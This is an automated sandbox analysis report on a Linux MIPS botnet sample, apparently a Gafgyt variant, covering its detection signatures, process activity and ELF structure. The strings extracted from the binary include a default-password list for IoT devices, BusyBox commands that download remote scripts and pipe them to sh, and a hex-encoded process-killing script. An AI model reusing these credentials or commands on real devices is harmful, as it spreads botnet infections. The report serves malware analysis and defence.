Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name:la.bot.mipsel.elf
Analysis ID:1543070
MD5:eccedfe6424daddefb6bd1fcdcaa37ff
SHA1:921e6e5e7a6b1cbc408d4a58c2a68ec70c1cc770
SHA256:220659183a9df8c2893b476c9ace96c39470aae3d248ee8b3f01a9480bcddb18
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1543070
Start date and time:2024-10-27 07:47:11 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 55s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.mipsel.elf
Detection:MAL
Classification:mal56.evad.linELF@0/0@0/0

Warnings

  • Skipping network analysis since amount of network traffic is too extensive

Runtime Messages

Command:/tmp/la.bot.mipsel.elf
PID:5440
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: la.bot.mipsel.elfReversingLabs: Detection: 31%
Source: la.bot.mipsel.elfVirustotal: Detection: 31%Perma Link
Source: la.bot.mipsel.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elfString: '/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mipsel.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.mipsel.elf (PID: 5440)Socket: 127.0.0.1:1234Jump to behavior
Source: la.bot.mipsel.elfString found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/la.bot.mipsel.elf (PID: 5442)SIGKILL sent: pid: 936, result: successfulJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5552)SIGKILL sent: pid: 5550, result: successfulJump to behavior
Source: classification engineClassification label: mal56.evad.linELF@0/0@0/0

Data Obfuscation

barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.mipsel.elf (PID: 5444)File: /etc/configJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /root/.cacheJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /root/.sshJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /root/.configJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /root/.localJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /tmp/.X11-unixJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /tmp/.Test-unixJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /tmp/.font-unixJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /tmp/.ICE-unixJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /tmp/.XIM-unixJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Directory: /etc/.javaJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/230/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/110/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/231/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/111/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/232/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/112/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/233/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/113/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/234/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/114/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/235/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/115/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/236/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/116/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/237/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/117/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/238/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/118/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/239/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/119/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/914/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/10/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/917/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/11/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/12/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/13/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/14/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/15/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/16/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/17/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/18/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/19/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/240/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/120/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/241/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/121/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/242/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/1/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/122/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/243/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/2/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/123/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/244/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/3/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/124/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/245/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/125/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/4/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/246/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/126/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/5/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/247/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/127/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/6/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/248/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/128/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/7/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/249/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/129/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/8/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/800/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/9/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/802/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/803/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/20/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/21/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/22/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/23/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/24/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/25/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/26/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/27/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/28/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/29/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/490/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/250/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/371/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/130/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/251/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/131/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/252/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/132/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/253/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/254/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/134/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/255/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/256/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/257/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/378/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/258/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/259/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/936/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/30/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/816/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/35/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/260/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/261/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/262/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/142/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/263/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/264/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/265/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/145/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/266/fdJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5442)File opened: /proc/267/fdJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Deletes system log files
Source: /tmp/la.bot.mipsel.elf (PID: 5444)Log files deleted: /var/log/kern.logJump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5440)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 5440.1.00007ffe03fca000.00007ffe03feb000.rw-.sdmp, la.bot.mipsel.elf, 5550.1.00007ffe03fca000.00007ffe03feb000.rw-.sdmp, la.bot.mipsel.elf, 5552.1.00007ffe03fca000.00007ffe03feb000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 5440.1.0000559aadaea000.0000559aadb91000.rw-.sdmp, la.bot.mipsel.elf, 5550.1.0000559aadaea000.0000559aadb91000.rw-.sdmp, la.bot.mipsel.elf, 5552.1.0000559aadaea000.0000559aadb91000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 5440.1.0000559aadaea000.0000559aadb91000.rw-.sdmp, la.bot.mipsel.elf, 5550.1.0000559aadaea000.0000559aadb91000.rw-.sdmp, la.bot.mipsel.elf, 5552.1.0000559aadaea000.0000559aadb91000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 5440.1.00007ffe03fca000.00007ffe03feb000.rw-.sdmp, la.bot.mipsel.elf, 5550.1.00007ffe03fca000.00007ffe03feb000.rw-.sdmp, la.bot.mipsel.elf, 5552.1.00007ffe03fca000.00007ffe03feb000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid AccountsWindows Management Instrumentation1
Scripting		Path Interception1
Hidden Files and Directories		1
OS Credential Dumping		11
Security Software Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Indicator Removal		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1543070 Sample: la.bot.mipsel.elf Startdate: 27/10/2024 Architecture: LINUX Score: 56 23 Multi AV Scanner detection for submitted file 2->23 8 la.bot.mipsel.elf 2->8         started        process3 process4 10 la.bot.mipsel.elf 8->10         started        13 la.bot.mipsel.elf 8->13         started        15 la.bot.mipsel.elf 8->15         started        signatures5 25 Sample tries to access files in /etc/config/ (typical for OpenWRT routers) 10->25 27 Deletes system log files 10->27 17 la.bot.mipsel.elf 13->17         started        19 la.bot.mipsel.elf 13->19         started        process6 process7 21 la.bot.mipsel.elf 17->21         started       

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
la.bot.mipsel.elf32%ReversingLabsLinux.Backdoor.Gafgyt
la.bot.mipsel.elf32%VirustotalBrowse

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.mipsel.elffalse
    		unknown
    http:///curl.shla.bot.mipsel.elffalse
      		unknown

      World Map of Contacted IPs

      ⊘No contacted IP infos

      Joe Sandbox View / Context

      IPs

      ⊘No context

      Domains

      ⊘No context

      ASNs

      ⊘No context

      JA3 Fingerprints

      ⊘No context

      Dropped Files

      ⊘No context

      Created / dropped Files

      ⊘No created / dropped files found

      Static File Info

      General

      File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
      Entropy (8bit):5.5162538573758715
      TrID:
      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
      File name:la.bot.mipsel.elf
      File size:106'136 bytes
      MD5:eccedfe6424daddefb6bd1fcdcaa37ff
      SHA1:921e6e5e7a6b1cbc408d4a58c2a68ec70c1cc770
      SHA256:220659183a9df8c2893b476c9ace96c39470aae3d248ee8b3f01a9480bcddb18
      SHA512:88d5703d39e3b03358c7b526b8317e6961edc63977180dd59241fc6255d4580b7924c0a5469408c5d61ce1432cc2871894c7e831cddecba63900ff46d19952af
      SSDEEP:1536:2xsPvaEPoAslVLaPyDF4a2Dzu5rb///VcHHZq7l2/EnzsT2:2xWiSoRlVLYyDFd2WYHHVEn
      TLSH:23A3A40ABF601EF7E86FCC3705B95B0A248C651B21A47B767570D928FA4B50F4AE3874
      File Content Preview:.ELF....................`.@.4...........4. ...(...............@...@...........................E...E......P..........Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<x..'!...$.......Ps9

      Static ELF Info

      ELF header

      Class:ELF32
      Data:2's complement, little endian
      Version:1 (current)
      Machine:MIPS R3000
      Version Number:0x1
      Type:EXEC (Executable file)
      OS/ABI:UNIX - System V
      ABI Version:0
      Entry Point Address:0x400260
      Flags:0x1007
      ELF Header Size:52
      Program Header Offset:52
      Program Header Size:32
      Number of Program Headers:3
      Section Header Offset:105616
      Section Header Size:40
      Number of Section Headers:13
      Header String Table Index:12

      Sections

      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
      NULL0x00x00x00x00x0000
      .initPROGBITS0x4000940x940x8c0x00x6AX004
      .textPROGBITS0x4001200x1200x172a00x00x6AX0016
      .finiPROGBITS0x4173c00x173c00x5c0x00x6AX004
      .rodataPROGBITS0x4174200x174200x1a800x00x2A0016
      .ctorsPROGBITS0x458ea40x18ea40x80x00x3WA004
      .dtorsPROGBITS0x458eac0x18eac0x80x00x3WA004
      .data.rel.roPROGBITS0x458eb80x18eb80x4f80x00x3WA004
      .dataPROGBITS0x4593b00x193b00x3c00x00x3WA0016
      .gotPROGBITS0x4597700x197700x4c80x40x10000003WAp0016
      .sbssNOBITS0x459c380x19c380x280x00x10000003WAp004
      .bssNOBITS0x459c600x19c380x42f80x00x3WA0016
      .shstrtabSTRTAB0x00x19c380x560x00x0001

      Program Segments

      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
      LOAD0x00x4000000x4000000x18ea00x18ea05.50740x5R E0x10000.init .text .fini .rodata
      LOAD0x18ea40x458ea40x458ea40xd940x50b44.50670x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
      GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

      Network Behavior

      ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

      System Behavior

      General

      Start time (UTC):06:47:59
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mipsel.elf
      Arguments:/tmp/la.bot.mipsel.elf
      File size:5773336 bytes
      MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

      Chronological Activities


      General

      Start time (UTC):06:47:59
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mipsel.elf
      Arguments:-
      File size:5773336 bytes
      MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

      Chronological Activities


      General

      Start time (UTC):06:47:59
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mipsel.elf
      Arguments:-
      File size:5773336 bytes
      MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

      Chronological Activities


      General

      Start time (UTC):06:47:59
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mipsel.elf
      Arguments:-
      File size:5773336 bytes
      MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

      Chronological Activities


      General

      Start time (UTC):06:47:59
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mipsel.elf
      Arguments:-
      File size:5773336 bytes
      MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

      Chronological Activities


      General

      Start time (UTC):06:48:52
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mipsel.elf
      Arguments:-
      File size:5773336 bytes
      MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

      Chronological Activities


      General

      Start time (UTC):06:48:52
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mipsel.elf
      Arguments:-
      File size:5773336 bytes
      MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

      Chronological Activities